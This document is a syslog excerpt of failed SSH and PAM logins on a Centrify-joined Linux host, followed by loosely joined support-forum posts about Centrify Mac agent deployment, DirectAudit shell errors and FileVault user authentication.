Jun 13 13:08:10 master sshd[5854]: Failed keyboard-interactive/pam for invalid user bruce from 192.168.20.105 port 53977 ssh2
Jun 13 13:08:10 master adclient[1256]: INFO AUDIT_TRAIL|Centrify Suite|Centrify sshd|1.0|101|SSHD denied|5|user=(invalid user) pid=5854 utc=1497377290814 centrifyEventID=27101 DASessID=N/A DAInst=N/A status=DENIED service=ssh-connection tty=(no tty) authMechanism=keyboard-interactive client=192.168.20.105 reason=AUTH_FAIL_KBDINT(failed in keyboard interactive authentication.)
Jun 13 13:08:10 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:08:10 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:08:10 master sshd[5854]: Postponed keyboard-interactive for invalid user bruce from 192.168.20.105 port 53977 ssh2 [preauth]
Jun 13 13:08:17 master sshd[5860]: pam_unix(sshd:auth): check pass; user unknown
Jun 13 13:08:17 master sshd[5860]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.20.105
Jun 13 13:08:20 master sshd[5854]: error: PAM: Authentication failure for illegal user bruce from 192.168.20.105
Jun 13 13:08:20 master sshd[5854]: Failed keyboard-interactive/pam for invalid user bruce from 192.168.20.105 port 53977 ssh2
Jun 13 13:08:20 master adclient[1256]: INFO AUDIT_TRAIL|Centrify Suite|Centrify sshd|1.0|101|SSHD denied|5|user=(invalid user) pid=5854 utc=1497377300066 centrifyEventID=27101 DASessID=N/A DAInst=N/A status=DENIED service=ssh-connection tty=(no tty) authMechanism=keyboard-interactive client=192.168.20.105 reason=AUTH_FAIL_KBDINT(failed in keyboard interactive authentication.)
Jun 13 13:08:20 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:08:20 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:08:20 master sshd[5854]: Postponed keyboard-interactive for invalid user bruce from 192.168.20.105 port 53977 ssh2 [preauth]
Jun 13 13:08:27 master sshd[5861]: pam_unix(sshd:auth): check pass; user unknown
Jun 13 13:08:27 master sshd[5861]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.20.105
Jun 13 13:08:28 master sshd[5854]: error: PAM: Authentication failure for illegal user bruce from 192.168.20.105
Jun 13 13:08:28 master sshd[5854]: Failed keyboard-interactive/pam for invalid user bruce from 192.168.20.105 port 53977 ssh2
Jun 13 13:08:28 master adclient[1256]: INFO AUDIT_TRAIL|Centrify Suite|Centrify sshd|1.0|101|SSHD denied|5|user=(invalid user) pid=5854 utc=1497377308728 centrifyEventID=27101 DASessID=N/A DAInst=N/A status=DENIED service=ssh-connection tty=(no tty) authMechanism=keyboard-interactive client=192.168.20.105 reason=AUTH_FAIL_KBDINT(failed in keyboard interactive authentication.)
Jun 13 13:08:38 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:08:38 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:08:38 master sshd[5854]: pam_unix(sshd:auth): check pass; user unknown
Jun 13 13:08:38 master sshd[5854]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.20.105
Jun 13 13:08:39 master sshd[5854]: Failed password for invalid user bruce from 192.168.20.105 port 53977 ssh2
Jun 13 13:08:39 master adclient[1256]: INFO AUDIT_TRAIL|Centrify Suite|Centrify sshd|1.0|101|SSHD denied|5|user=(invalid user) pid=5854 utc=1497377319914 centrifyEventID=27101 DASessID=N/A DAInst=N/A status=DENIED service=ssh-connection tty=(no tty) authMechanism=password client=192.168.20.105 reason=AUTH_FAIL_PASSWD(invalid user or password.)
Jun 13 13:08:41 master sshd[5854]: Connection closed by 192.168.20.105 port 53977 [preauth]
Jun 13 13:09:01 master CRON[5887]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 13 13:09:01 master CRON[5887]: pam_unix(cron:session): session closed for user root

I was hoping to see some resolution of this problem, because I am running into the exact same issue trying to deploy the Mac agent to a local Mac. The Mac is sanely named.

The software is actually already present on this Mac, but the "No Centrify Suite is available on the selected platform" error message makes me believe that this is not the problem. (I've been using the target Mac to experiment with; it's currently not joined to the AD domain.)

I am, however, currently stuck at Mr. Robertson's step 5. Guidance would be much appreciated.

What version of Mac are you using? And what version of Centrify Server Suite?

Centrify Support is happy to assist.

Please work with the appropriate contacts in your company to either get access to Support or work with them to open a case with Support.

The error message being disaplyed is due to DirectAudit installed and the user not having a real shell defined.   DirectAudit is recording user's activity on the system.

Have you tried instead of replacing the shell, adding your container logic to the logon profile instead?  This should be a bit cleaner for you vs. replacing the user's shell.  

Regards,

I am having the same issue. Other users within the domain are allowed. Just not the user named "Administrator". Strange.

The error I receive with fdesetup when trying to add any mobile account user is:

Error: Unable to add user 'USERNAME' to existing FileVault because the user could not be authenticated.

(USERNAME can be replaced with any zoned AD GUID)

Current Environment:

• Mac OS X 10.11.6
• Zoned and bound with Centrify to company domain.